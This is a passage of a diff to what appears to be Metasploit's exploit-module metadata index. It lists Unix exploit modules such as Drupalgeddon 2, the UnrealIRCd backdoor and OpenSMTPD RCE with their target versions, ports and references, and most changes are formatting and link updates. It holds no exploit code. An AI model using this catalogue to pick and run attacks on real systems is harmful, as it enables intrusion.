"name": "VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution", "fullname": "exploit/unix/http/vmturbo_vmtadmin_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-06-25", "type": "exploit", @@ -129214,17 +115122,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/xdebug_unauth_exec": { "name": "xdebug Unauthenticated OS Command Execution", "fullname": "exploit/unix/http/xdebug_unauth_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-09-17", "type": "exploit", @@ -129236,7 +115141,7 @@ "description": "Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.\n This allows the attacker to execute arbitrary php code as the context of the web user.", "references": [ "URL-https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/", - "URL-https://paper.seebug.org/397/" + "URL-http://web.archive.org/web/20231226215418/https://paper.seebug.org/397/" ], "platform": "PHP", "arch": "php", @@ -129259,24 +115164,21 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/unix/http/xdebug_unauth_exec.rb", "is_install_path": true, "ref_name": "unix/http/xdebug_unauth_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/zivif_ipcheck_exec": { "name": "Zivif Camera iptest.cgi Blind Remote Command Execution", "fullname": "exploit/unix/http/zivif_ipcheck_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-09-01", "type": "exploit", @@ -129333,9 +115235,7 @@ "exploit_unix/irc/unreal_ircd_3281_backdoor": { "name": "UnrealIRCD 3.2.8.1 Backdoor Command Execution", "fullname": "exploit/unix/irc/unreal_ircd_3281_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-12", "type": "exploit", @@ -129351,12 +115251,8 @@ "platform": "Unix", "arch": "cmd", "rport": 6667, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -129367,17 +115263,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/local/at_persistence": { "name": "at(1) Persistence", "fullname": "exploit/unix/local/at_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1997-01-01", "type": "exploit", @@ -129385,18 +115278,12 @@ "Jon Hart " ], "description": "This module achieves persistence by executing payloads via at(1).", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -129419,20 +115306,14 @@ "config-changes" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_unix/local/chkrootkit": { "name": "Chkrootkit Local Privilege Escalation", "fullname": "exploit/unix/local/chkrootkit", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-06-04", "type": "exploit", @@ -129451,12 +115332,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -129483,16 +115360,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_unix/local/emacs_movemail": { "name": "Emacs movemail Privilege Escalation", "fullname": "exploit/unix/local/emacs_movemail", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1986-08-01", "type": "exploit", @@ -129513,12 +115386,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "/usr/lib/crontab.local" ], @@ -129544,16 +115413,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_unix/local/exim_perl_startup": { "name": "Exim \"perl_startup\" Privilege Escalation", "fullname": "exploit/unix/local/exim_perl_startup", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-10", "type": "exploit", @@ -129570,12 +115435,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Exim < 4.86.2" ], @@ -129593,25 +115454,19 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_unix/local/netbsd_mail_local": { "name": "NetBSD mail.local Privilege Escalation", "fullname": "exploit/unix/local/netbsd_mail_local", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2016-07-07", "type": "exploit", @@ -129629,12 +115484,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -129662,16 +115513,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_unix/local/opensmtpd_oob_read_lpe": { "name": "OpenSMTPD OOB Read Local Privilege Escalation", "fullname": "exploit/unix/local/opensmtpd_oob_read_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2020-02-24", "type": "exploit", @@ -129687,12 +115534,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenSMTPD < 6.6.4 (automatic grammar selection)" ], @@ -129714,20 +115557,14 @@ "ioc-in-logs" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_unix/local/setuid_nmap": { "name": "Setuid Nmap Exploit", "fullname": "exploit/unix/local/setuid_nmap", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-19", "type": "exploit", @@ -129735,18 +115572,12 @@ "egypt " ], "description": "Nmap's man page mentions that \"Nmap should never be installed with\n special privileges (e.g. suid root) for security reasons..\" and\n specifically avoids making any of its binaries setuid during\n installation. Nevertheless, administrators sometimes feel the need\n to do insecure things. This module abuses a setuid nmap binary by\n writing out a lua nse script containing a call to os.execute().\n\n Note that modern interpreters will refuse to run scripts on the\n command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}\n payloads will most likely not work.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,Unix", "arch": "cmd, x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Command payload", "Linux x86", @@ -129775,16 +115606,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_unix/misc/distcc_exec": { "name": "DistCC Daemon Command Execution", "fullname": "exploit/unix/misc/distcc_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2002-02-01", "type": "exploit", @@ -129800,12 +115627,8 @@ "platform": "Unix", "arch": "cmd", "rport": 3632, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -129816,17 +115639,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/misc/polycom_hdx_auth_bypass": { "name": "Polycom Command Shell Authorization Bypass", "fullname": "exploit/unix/misc/polycom_hdx_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-18", "type": "exploit", @@ -129843,12 +115663,8 @@ "platform": "Unix", "arch": "cmd", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -129859,17 +115675,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/misc/polycom_hdx_traceroute_exec": { "name": "Polycom Shell HDX Series Traceroute Command Execution", "fullname": "exploit/unix/misc/polycom_hdx_traceroute_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-11-12", "type": "exploit", @@ -129886,12 +115699,8 @@ "platform": "Unix", "arch": "cmd", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -129902,17 +115711,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/misc/spamassassin_exec": { "name": "SpamAssassin spamd Remote Command Execution", "fullname": "exploit/unix/misc/spamassassin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-06-06", "type": "exploit", @@ -129929,12 +115735,8 @@ "platform": "Unix", "arch": "cmd", "rport": 783, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -129945,17 +115747,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/misc/xerox_mfp": { "name": "Xerox Multifunction Printers (MFP) \"Patch\" DLM Vulnerability", "fullname": "exploit/unix/misc/xerox_mfp", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-03-07", "type": "exploit", @@ -129972,12 +115771,8 @@ "platform": "Unix", "arch": "cmd", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -129988,17 +115783,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/misc/zabbix_agent_exec": { "name": "Zabbix Agent net.tcp.listen Command Injection", "fullname": "exploit/unix/misc/zabbix_agent_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-10", "type": "exploit", @@ -130014,12 +115806,8 @@ "platform": "Unix", "arch": "cmd", "rport": 10050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -130030,17 +115818,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/smtp/clamav_milter_blackhole": { "name": "ClamAV Milter Blackhole-Mode Remote Code Execution", "fullname": "exploit/unix/smtp/clamav_milter_blackhole", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-08-24", "type": "exploit", @@ -130079,17 +115864,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/smtp/exim4_string_format": { "name": "Exim4 string_format Function Heap Buffer Overflow", "fullname": "exploit/unix/smtp/exim4_string_format", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-07", "type": "exploit", @@ -130135,17 +115917,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/smtp/morris_sendmail_debug": { "name": "Morris Worm sendmail Debug Mode Shell Escape", "fullname": "exploit/unix/smtp/morris_sendmail_debug", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "1988-11-02", "type": "exploit", @@ -130164,12 +115943,8 @@ "platform": "Unix", "arch": "cmd", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "@(#)version.c 5.51 (Berkeley) 5/2/86" ], @@ -130180,17 +115955,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/smtp/opensmtpd_mail_from_rce": { "name": "OpenSMTPD MAIL FROM Remote Code Execution", "fullname": "exploit/unix/smtp/opensmtpd_mail_from_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-01-28", "type": "exploit", @@ -130208,12 +115980,8 @@ "platform": "Unix", "arch": "cmd", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenSMTPD 6.4.0 - 6.6.1" ], @@ -130241,9 +116009,7 @@ "exploit_unix/smtp/qmail_bash_env_exec": { "name": "Qmail SMTP Bash Environment Variable Injection (Shellshock)", "fullname": "exploit/unix/smtp/qmail_bash_env_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-24", "type": "exploit", @@ -130286,17 +116052,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/sonicwall/sonicwall_xmlrpc_rce": { "name": "SonicWall Global Management System XMLRPC set_time_zone Unauth RCE", "fullname": "exploit/unix/sonicwall/sonicwall_xmlrpc_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-22", "type": "exploit", @@ -130337,17 +116100,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/ssh/arista_tacplus_shell": { "name": "Arista restricted shell escape (with privesc)", "fullname": "exploit/unix/ssh/arista_tacplus_shell", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2020-02-02", "type": "exploit", @@ -130363,12 +116123,8 @@ "platform": "Linux", "arch": "x86", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -130396,9 +116152,7 @@ "exploit_unix/ssh/array_vxag_vapv_privkey_privesc": { "name": "Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution", "fullname": "exploit/unix/ssh/array_vxag_vapv_privkey_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-02-03", "type": "exploit", @@ -130415,12 +116169,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "vAPV 8.3.2.17 / vxAG 9.2.0.34" ], @@ -130431,17 +116181,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/ssh/tectia_passwd_changereq": { "name": "Tectia SSH USERAUTH Change Request Password Reset Vulnerability", "fullname": "exploit/unix/ssh/tectia_passwd_changereq", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-01", "type": "exploit", @@ -130460,12 +116207,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix-based Tectia SSH 6.3 or prior" ], @@ -130476,17 +116219,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/actualanalyzer_ant_cookie_exec": { "name": "ActualAnalyzer 'ant' Cookie Command Execution", "fullname": "exploit/unix/webapp/actualanalyzer_ant_cookie_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-28", "type": "exploit", @@ -130528,17 +116268,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/aerohive_netconfig_lfi_log_poison_rce": { "name": "Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE", "fullname": "exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-17", "type": "exploit", @@ -130598,9 +116335,7 @@ "exploit_unix/webapp/ajenti_auth_username_cmd_injection": { "name": "Ajenti auth username Command Injection", "fullname": "exploit/unix/webapp/ajenti_auth_username_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-10-14", "type": "exploit", @@ -130640,17 +116375,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/arkeia_upload_exec": { "name": "Western Digital Arkeia Remote Code Execution", "fullname": "exploit/unix/webapp/arkeia_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-16", "type": "exploit", @@ -130691,17 +116423,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/awstats_configdir_exec": { "name": "AWStats configdir Remote Command Execution", "fullname": "exploit/unix/webapp/awstats_configdir_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-01-15", "type": "exploit", @@ -130744,17 +116473,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/awstats_migrate_exec": { "name": "AWStats migrate Remote Command Execution", "fullname": "exploit/unix/webapp/awstats_migrate_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-05-04", "type": "exploit", @@ -130797,17 +116523,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/awstatstotals_multisort": { "name": "AWStats Totals multisort Remote Command Execution", "fullname": "exploit/unix/webapp/awstatstotals_multisort", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-08-26", "type": "exploit", @@ -130848,17 +116571,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/barracuda_img_exec": { "name": "Barracuda IMG.PL Remote Command Execution", "fullname": "exploit/unix/webapp/barracuda_img_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-09-01", "type": "exploit", @@ -130901,17 +116621,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/base_qry_common": { "name": "BASE base_qry_common Remote File Include", "fullname": "exploit/unix/webapp/base_qry_common", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-06-14", "type": "exploit", @@ -130952,17 +116669,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/basilic_diff_exec": { "name": "Basilic 1.5.14 diff.php Arbitrary Command Execution", "fullname": "exploit/unix/webapp/basilic_diff_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-28", "type": "exploit", @@ -131005,17 +116719,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/bolt_authenticated_rce": { "name": "Bolt CMS 3.7.0 - Authenticated Remote Code Execution", "fullname": "exploit/unix/webapp/bolt_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2020-05-07", "type": "exploit", @@ -131081,9 +116792,7 @@ "exploit_unix/webapp/cacti_graphimage_exec": { "name": "Cacti graph_view.php Remote Command Execution", "fullname": "exploit/unix/webapp/cacti_graphimage_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-01-15", "type": "exploit", @@ -131124,17 +116833,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/cakephp_cache_corruption": { "name": "CakePHP Cache Corruption Code Execution", "fullname": "exploit/unix/webapp/cakephp_cache_corruption", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-11-15", "type": "exploit", @@ -131177,17 +116883,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/carberp_backdoor_exec": { "name": "Carberp Web Panel C2 Backdoor Remote PHP Code Execution", "fullname": "exploit/unix/webapp/carberp_backdoor_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-06-28", "type": "exploit", @@ -131228,17 +116931,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/citrix_access_gateway_exec": { "name": "Citrix Access Gateway Command Execution", "fullname": "exploit/unix/webapp/citrix_access_gateway_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-21", "type": "exploit", @@ -131281,17 +116981,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/clipbucket_upload_exec": { "name": "ClipBucket Remote Code Execution", "fullname": "exploit/unix/webapp/clipbucket_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-04", "type": "exploit", @@ -131331,17 +117028,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/coppermine_piceditor": { "name": "Coppermine Photo Gallery picEditor.php Command Execution", "fullname": "exploit/unix/webapp/coppermine_piceditor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-01-30", "type": "exploit", @@ -131384,17 +117078,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/cyberpanel_preauth_rce_multi_cve": { "name": "CyberPanel Multi CVE Pre-auth RCE", "fullname": "exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-10-27", "type": "exploit", @@ -131474,9 +117165,7 @@ "exploit_unix/webapp/datalife_preview_exec": { "name": "DataLife Engine preview.php PHP Code Injection", "fullname": "exploit/unix/webapp/datalife_preview_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-28", "type": "exploit", @@ -131521,17 +117210,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/dogfood_spell_exec": { "name": "Dogfood CRM spell.php Remote Command Execution", "fullname": "exploit/unix/webapp/dogfood_spell_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-03-03", "type": "exploit", @@ -131572,17 +117258,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/drupal_coder_exec": { "name": "Drupal CODER Module Remote Command Execution", "fullname": "exploit/unix/webapp/drupal_coder_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-13", "type": "exploit", @@ -131622,17 +117305,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/drupal_drupalgeddon2": { "name": "Drupal Drupalgeddon 2 Forms API Property Injection", "fullname": "exploit/unix/webapp/drupal_drupalgeddon2", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-03-28", "type": "exploit", @@ -131696,12 +117376,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "SA-CORE-2018-002", "Drupalgeddon 2" @@ -131713,9 +117389,7 @@ "exploit_unix/webapp/drupal_restws_exec": { "name": "Drupal RESTWS Module Remote PHP Code Execution", "fullname": "exploit/unix/webapp/drupal_restws_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-13", "type": "exploit", @@ -131755,17 +117429,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/drupal_restws_unserialize": { "name": "Drupal RESTful Web Services unserialize() RCE", "fullname": "exploit/unix/webapp/drupal_restws_unserialize", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-02-20", "type": "exploit", @@ -131833,9 +117504,7 @@ "exploit_unix/webapp/egallery_upload_exec": { "name": "EGallery PHP File Upload Vulnerability", "fullname": "exploit/unix/webapp/egallery_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-08", "type": "exploit", @@ -131847,7 +117516,7 @@ "references": [ "OSVDB-83891", "BID-54464", - "URL-http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html" + "URL-http://web.archive.org/web/20170128123244/http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html" ], "platform": "PHP", "arch": "php", @@ -131870,24 +117539,21 @@ "targets": [ "EGallery 1.2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/egallery_upload_exec.rb", "is_install_path": true, "ref_name": "unix/webapp/egallery_upload_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/elfinder_php_connector_exiftran_cmd_injection": { "name": "elFinder PHP Connector exiftran Command Injection", "fullname": "exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-02-26", "type": "exploit", @@ -131931,17 +117597,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/flashchat_upload_exec": { "name": "FlashChat Arbitrary File Upload", "fullname": "exploit/unix/webapp/flashchat_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-04", "type": "exploit", @@ -131982,17 +117645,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/foswiki_maketext": { "name": "Foswiki MAKETEXT Remote Command Execution", "fullname": "exploit/unix/webapp/foswiki_maketext", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-03", "type": "exploit", @@ -132034,17 +117694,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/freepbx_config_exec": { "name": "FreePBX config.php Remote Code Execution", "fullname": "exploit/unix/webapp/freepbx_config_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-21", "type": "exploit", @@ -132088,17 +117745,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/fusionpbx_exec_cmd_exec": { "name": "FusionPBX Command exec.php Command Execution", "fullname": "exploit/unix/webapp/fusionpbx_exec_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-02", "type": "exploit", @@ -132139,17 +117793,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/fusionpbx_operator_panel_exec_cmd_exec": { "name": "FusionPBX Operator Panel exec.php Command Execution", "fullname": "exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-06-06", "type": "exploit", @@ -132193,17 +117844,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/generic_exec": { "name": "Generic Web Application Unix Command Execution", "fullname": "exploit/unix/webapp/generic_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1993-11-14", "type": "exploit", @@ -132211,9 +117859,7 @@ "hdm " ], "description": "This module can be used to exploit any generic command execution vulnerability\n for CGI applications on Unix-like platforms. To use this module, specify the\n CMDURI path, replacing the command itself with XXcmdXX. This module is currently\n limited to forms vulnerable through GET requests with query parameters.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": 80, @@ -132242,17 +117888,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/get_simple_cms_upload_exec": { "name": "GetSimpleCMS PHP File Upload Vulnerability", "fullname": "exploit/unix/webapp/get_simple_cms_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-04", "type": "exploit", @@ -132292,17 +117935,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { 